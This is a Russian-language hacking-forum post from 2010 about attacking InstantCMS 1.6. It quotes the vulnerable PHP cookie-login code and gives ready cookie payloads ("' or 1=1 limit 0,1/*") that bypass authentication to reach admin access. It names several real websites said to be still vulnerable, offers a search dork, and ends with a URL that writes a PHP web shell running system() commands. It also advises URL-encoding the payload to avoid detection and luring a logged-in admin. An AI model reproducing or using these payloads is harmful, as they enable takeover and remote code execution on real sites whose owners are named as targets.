
24.04.2010, 07:29
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
С нами:
9000386
Репутация:
1148
|
|
123
Релиз версии 1.6
22 апреля 2010
blind SQL inj & обход авторизации
Предыдущая тоже.
core/classes/user.class.php
PHP код:
...public function autoLogin(){
$inDB = cmsDatabase::getInstance();
$inCore = cmsCore::getInstance();
if ($inCore->getCookie('userid') && !$this->id){
$cookie_code = $inCore->getCookie('userid');
$sql = "SELECT * FROM cms_users WHERE md5(CONCAT(id, password)) = '$cookie_code' AND is_deleted=0 AND is_locked=0";
$res = $inDB->query($sql);
if($inDB->num_rows($res)==1){
$userrow = $inDB->fetch_assoc($res);
session_register('user');
$_SESSION['user'] = self::createUser($userrow);
cmsCore::callEvent('USER_LOGIN', $_SESSION['user']);
$inDB->query("UPDATE cms_users SET logdate = NOW() WHERE id = ".$_SESSION['user']['id']);
$this->resetStatTimer();
} else {
$inCore->unsetCookie('user_id');
}
}
return true;
}...
core/cms.php
PHP код:
...public function getCookie($name){
if (isset($_COOKIE['InstantCMS'][$name])){
return $_COOKIE['InstantCMS'][$name];
} else {
return false;
}
}...
core/classes/db.class.php
PHP код:
.../////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
public function query($sql, $ignore_errors=false){
$inConf = cmsConfig::getInstance();
$sql = $this->replacePrefix($sql);
$result = mysql_query($sql, $this->db_link);
if ($inConf->debug){
$this->q_count += 1;
$this->q_dump .= '<pre>'.$sql.'</pre><hr/>';
}
if (mysql_error() && $inConf->debug && !$ignore_errors){
die('<div style="margin:2px;border:solid 1px gray;padding:10px">DATABASE ERROR: <pre>'.$sql.'</pre>'.mysql_error().'</div>');
}
return $result;
}...
Как видно здесь блинд & обход авторизации (можно так сказать).
Устанавливаем в куки ; InstantCMS[userid]=antichat' or group_id=2/*
group_id=2 - група админов поидеи!
В детали не уходил, ну у меня в таблице в админа 2 .
Появляються линки в панели, доступные для админа и можно смело заходить, тока не сразу, сессионные куки тока установляться. Заходим на любой линк ):.
Вот так будет точнее, потому что надо чтоб запрос вернул одну запись.
В одной групе может быть много админов, и кука выше толку не даст!:
; InstantCMS[userid]=antichat' or 1=1 limit 0,1/*
Если попался не админ, то крутим limit.
Мы админ, мои приветствия!
Блинд можно бистрее крутить через ошибку если cms крутиться в режиме отладки.
Выше в посте о блинде в предыдущей версии было названа переменная, которая отвечает и где находиться.
target: index.php (та й в принцыпе любая!)
Дорк: InstantCMS
Условие: mg=off
пример ис жызни:
http://instant-cms.ru
; InstantCMS[userid]=12345' or 1=1 limit 0,1/*
http://lig.com.ua/
в режиме отладки.
; InstantCMS[userid]=12345' or 1=1 limit 0,1#
http://bboldino.ru
; InstantCMS[userid]=12345' or 1=1 limit 0,1/*
http://www.combatshop.biz
; InstantCMS[userid]=12345' or 1=1 limit 0,1/*
в режиме отладки!
http://expo.sec4all.info
; InstantCMS[userid]=12345' or 1=1 limit 0,1/*
Баги не пофиксены.
Code Execution + LFI(Win) и Blind SQL inj описаны в постах выше.
Result:
http://www.instant/admin/index.php?url=Location:+index.php&f=css/1.php&cod=%3C?+system($_GET[cmd]);+?%3E&view=;file_put_contents($_GET[f],$_GET[cod]);header($_GET[url]);rand
http://www.instant/admin/css/1.php?cmd=dir
Можна еще урл-кодировать чтоб непаливно было! Не забываем что file_put_contents - PHP 5.
Имеем при mg=on!
Можна поиграться с каталогом proc или с протоколом дата (php>=5.2.0 і allow_url_include=on)!
На сколько фантазии хватит на стока и пыхаем код1
С блинд анолочино поста выше.
Главное - заманить авторизованого админа!
Последний раз редактировалось Strilo4ka; 24.04.2010 в 10:59..
|
|
|